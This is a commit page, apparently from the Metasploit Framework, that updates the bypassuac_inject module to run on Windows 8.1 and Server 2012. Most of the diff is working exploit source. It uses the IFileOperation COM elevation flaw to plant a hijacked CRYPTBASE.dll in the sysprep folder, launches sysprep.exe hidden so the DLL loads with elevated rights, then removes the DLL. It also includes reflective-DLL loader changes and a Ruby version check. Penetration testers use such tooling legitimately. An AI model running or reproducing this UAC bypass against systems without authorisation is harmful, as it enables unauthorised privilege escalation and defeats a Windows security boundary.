Skip to content

Commit 844460d

Browse files
committed
Update bypass UAC to work on 8.1 and 2012
This commit contains a bunch of work that comes from Meatballs1 and Lesage, and updates the bypassuac_inject module so that it works on Windows 8.x and Windows 2012. Almost zero of the code in this module can be attributed to me. Most of it comes from Ben's work. I did do some code tidying, adjustment of style, etc. but other than that it's all down to other people.
1 parent f0261a4 commit 844460d

File tree

8 files changed

+352
-230
lines changed

8 files changed

+352
-230
lines changed

data/post/bypassuac-x64.dll

-512 Bytes
Binary file not shown.

data/post/bypassuac-x86.dll

-512 Bytes
Binary file not shown.

external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -93,7 +93,7 @@
9393
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
9494
<ClCompile>
9595
<Optimization>Disabled</Optimization>
96-
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
96+
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
9797
<MinimalRebuild>true</MinimalRebuild>
9898
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
9999
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
@@ -132,7 +132,7 @@
132132
<Optimization>MaxSpeed</Optimization>
133133
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
134134
<IntrinsicFunctions>true</IntrinsicFunctions>
135-
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
135+
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
136136
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
137137
<FunctionLevelLinking>true</FunctionLevelLinking>
138138
<PrecompiledHeader />
@@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
190190
</ItemDefinitionGroup>
191191
<ItemGroup>
192192
<ClCompile Include="src\Exploit.cpp" />
193-
<ClCompile Include="src\ReflectiveDll.c" />
194193
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
194+
<ClCompile Include="src\ReflectiveDll.c" />
195195
</ItemGroup>
196196
<ItemGroup>
197-
<ClInclude Include="src\Exploit.h" />
198197
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
199198
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
199+
<ClInclude Include="src\Exploit.h" />
200200
</ItemGroup>
201201
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
202202
<ImportGroup Label="ExtensionTargets">
Lines changed: 151 additions & 112 deletions
Original file line numberDiff line numberDiff line change
@@ -1,119 +1,158 @@
1+
#include "ReflectiveLoader.h"
12
#include "Exploit.h"
23

3-
void exploit()
4-
{
5-
6-
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
7-
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
8-
const wchar_t *sySysPrepExe = L"sysprep.exe";
9-
const wchar_t *szElevDll = L"CRYPTBASE.dll";
10-
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
11-
wchar_t szElevDir[MAX_PATH] = {};
12-
wchar_t szElevDir_syswow64[MAX_PATH] = {};
13-
wchar_t szElevDllFull[MAX_PATH] = {};
14-
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
15-
wchar_t szElevExeFull[MAX_PATH] = {};
16-
wchar_t path[MAX_PATH] = {};
17-
wchar_t windir[MAX_PATH] = {};
18-
const wchar_t *szElevArgs = L"";
19-
const wchar_t *szEIFOMoniker = NULL;
20-
PVOID OldValue = NULL;
21-
22-
IFileOperation *pFileOp = NULL;
23-
IShellItem *pSHISource = 0;
24-
IShellItem *pSHIDestination = 0;
25-
IShellItem *pSHIDelete = 0;
26-
27-
const IID *pIID_EIFO = &__uuidof(IFileOperation);
28-
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
29-
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
30-
31-
GetWindowsDirectoryW(windir, MAX_PATH);
32-
GetTempPathW(MAX_PATH, path);
33-
34-
/* %temp%\cryptbase.dll */
35-
wcscat_s(path, MAX_PATH, szSourceDll);
36-
37-
/* %windir%\System32\sysprep\ */
38-
wcscat_s(szElevDir, MAX_PATH, windir);
39-
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
40-
41-
/* %windir%\sysnative\sysprep\ */
42-
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
43-
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
44-
45-
/* %windir\system32\sysprep\cryptbase.dll */
46-
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
47-
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
48-
49-
/* %windir\sysnative\sysprep\cryptbase.dll */
50-
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
51-
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
52-
53-
/* %windir%\system32\sysprep\sysprep.exe */
54-
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
55-
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
56-
57-
if (CoInitialize(NULL) == S_OK)
58-
{
59-
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
4+
#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
5+
6+
extern "C" {
7+
8+
void exploit(BypassUacPaths const * const paths)
9+
{
10+
const wchar_t *szElevArgs = L"";
11+
const wchar_t *szEIFOMoniker = NULL;
12+
13+
PVOID OldValue = NULL;
14+
15+
IFileOperation *pFileOp = NULL;
16+
IShellItem *pSHISource = 0;
17+
IShellItem *pSHIDestination = 0;
18+
IShellItem *pSHIDelete = 0;
19+
20+
BOOL bComInitialised = FALSE;
21+
22+
const IID *pIID_EIFO = &__uuidof(IFileOperation);
23+
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
24+
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
25+
26+
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
27+
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
28+
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
29+
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
30+
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
31+
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
32+
33+
do
6034
{
61-
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
35+
if (CoInitialize(NULL) != S_OK)
36+
{
37+
dprintf("[BYPASSUACINJ] Failed to initialize COM");
38+
break;
39+
}
40+
41+
bComInitialised = TRUE;
42+
43+
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
44+
{
45+
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
46+
break;
47+
}
48+
49+
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
50+
{
51+
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
52+
break;
53+
}
54+
55+
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
56+
{
57+
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
58+
break;
59+
}
60+
61+
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
62+
{
63+
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
64+
break;
65+
}
66+
67+
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
68+
{
69+
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
70+
break;
71+
}
72+
73+
/* Copy the DLL file to the target folder*/
74+
if (pFileOp->PerformOperations() != S_OK)
75+
{
76+
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
77+
break;
78+
}
79+
80+
/* Execute the target binary */
81+
SHELLEXECUTEINFOW shinfo;
82+
ZeroMemory(&shinfo, sizeof(shinfo));
83+
shinfo.cbSize = sizeof(shinfo);
84+
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
85+
shinfo.lpFile = paths->szElevExeFull;
86+
shinfo.lpParameters = szElevArgs;
87+
shinfo.lpDirectory = paths->szElevDir;
88+
shinfo.nShow = SW_HIDE;
89+
90+
Wow64DisableWow64FsRedirection(&OldValue);
91+
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
92+
{
93+
WaitForSingleObject(shinfo.hProcess, 10000);
94+
CloseHandle(shinfo.hProcess);
95+
}
96+
97+
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
98+
|| NULL == pSHIDelete)
99+
{
100+
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
101+
break;
102+
}
103+
104+
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
62105
{
63-
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
64-
{
65-
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
66-
{
67-
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
68-
{
69-
/* Copy the DLL file to the sysprep folder*/
70-
if (pFileOp->PerformOperations() == S_OK)
71-
{
72-
/* Execute sysprep.exe */
73-
SHELLEXECUTEINFOW shinfo;
74-
ZeroMemory(&shinfo, sizeof(shinfo));
75-
shinfo.cbSize = sizeof(shinfo);
76-
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
77-
shinfo.lpFile = szElevExeFull;
78-
shinfo.lpParameters = szElevArgs;
79-
shinfo.lpDirectory = szElevDir;
80-
shinfo.nShow = SW_HIDE;
81-
82-
Wow64DisableWow64FsRedirection(&OldValue);
83-
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
84-
{
85-
WaitForSingleObject(shinfo.hProcess, 10000);
86-
CloseHandle(shinfo.hProcess);
87-
}
88-
89-
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
90-
{
91-
if (0 != pSHIDelete)
92-
{
93-
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
94-
{
95-
pFileOp->PerformOperations();
96-
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
97-
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
98-
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
99-
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
100-
{
101-
if (0 != pSHIDelete)
102-
{
103-
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
104-
{
105-
pFileOp->PerformOperations();
106-
}
107-
}
108-
}
109-
}
110-
}
111-
}
112-
}
113-
}
114-
}
115-
}
106+
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
107+
break;
116108
}
109+
110+
if (pFileOp->PerformOperations() == S_OK)
111+
{
112+
dprintf("[BYPASSUACINJ] Successfully deleted dll");
113+
114+
// bail out this point because we don't need to keep trying to delete
115+
break;
116+
}
117+
118+
SAFERELEASE(pSHIDelete);
119+
120+
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
121+
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
122+
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
123+
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
124+
|| NULL == pSHIDelete)
125+
{
126+
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
127+
break;
128+
}
129+
130+
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
131+
{
132+
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
133+
break;
134+
}
135+
136+
if (pFileOp->PerformOperations() == S_OK)
137+
{
138+
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
139+
}
140+
else
141+
{
142+
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
143+
}
144+
145+
} while (0);
146+
147+
SAFERELEASE(pSHIDelete);
148+
SAFERELEASE(pSHIDestination);
149+
SAFERELEASE(pSHISource);
150+
SAFERELEASE(pFileOp);
151+
152+
if (bComInitialised)
153+
{
154+
CoUninitialize();
117155
}
118156
}
119-
}
157+
158+
}

external/source/exploits/bypassuac_injection/dll/src/Exploit.h

100644100755
Lines changed: 29 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,4 +5,32 @@
55
#include <stdio.h>
66
#include <guiddef.h>
77

8-
EXTERN_C void exploit();
8+
// Uncomment this line to include debug output
9+
//#define DEBUGTRACE
10+
11+
#ifdef DEBUGTRACE
12+
#define dprintf(...) real_dprintf(__VA_ARGS__)
13+
static void real_dprintf(char *format, ...)
14+
{
15+
va_list args;
16+
char buffer[1024];
17+
va_start(args, format);
18+
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
19+
strcat_s(buffer, sizeof(buffer), "\r\n");
20+
OutputDebugStringA(buffer);
21+
}
22+
#else
23+
#define dprintf(...)
24+
#endif
25+
26+
typedef struct _BypassUacPaths
27+
{
28+
wchar_t szElevDir[MAX_PATH];
29+
wchar_t szElevDirSysWow64[MAX_PATH];
30+
wchar_t szElevDll[MAX_PATH];
31+
wchar_t szElevDllFull[MAX_PATH];
32+
wchar_t szElevExeFull[MAX_PATH];
33+
wchar_t szDllTempPath[MAX_PATH];
34+
} BypassUacPaths;
35+
36+
EXTERN_C void exploit(BypassUacPaths const * const paths);

external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c

100644100755
Lines changed: 25 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
55

66
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
77
{
8-
BOOL bReturnValue = TRUE;
9-
switch( dwReason )
10-
{
11-
case DLL_QUERY_HMODULE:
12-
if( lpReserved != NULL )
13-
*(HMODULE *)lpReserved = hAppInstance;
14-
break;
15-
case DLL_PROCESS_ATTACH:
16-
hAppInstance = hinstDLL;
17-
exploit();
18-
ExitProcess(0);
19-
break;
20-
case DLL_PROCESS_DETACH:
21-
case DLL_THREAD_ATTACH:
22-
case DLL_THREAD_DETACH:
23-
break;
24-
}
25-
return bReturnValue;
8+
switch (dwReason)
9+
{
10+
case DLL_QUERY_HMODULE:
11+
if (lpReserved != NULL)
12+
{
13+
*(HMODULE *)lpReserved = hAppInstance;
14+
}
15+
break;
16+
case DLL_PROCESS_ATTACH:
17+
hAppInstance = hinstDLL;
18+
19+
if (NULL != lpReserved)
20+
{
21+
dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
22+
exploit((BypassUacPaths*)lpReserved);
23+
}
24+
25+
ExitProcess(0);
26+
break;
27+
default:
28+
break;
29+
}
30+
31+
return TRUE;
32+
2633
}

lib/msf/core/post/windows/priv.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ def is_uac_enabled?
9090
uac = false
9191
winversion = session.sys.config.sysinfo['OS']
9292

93-
if winversion =~ /Windows (Vista|7|8|2008)/
93+
if winversion =~ /Windows (Vista|7|8|2008|2012)/
9494
unless is_system?
9595
begin
9696
enable_lua = registry_getvaldata(

0 commit comments

Comments
 (0)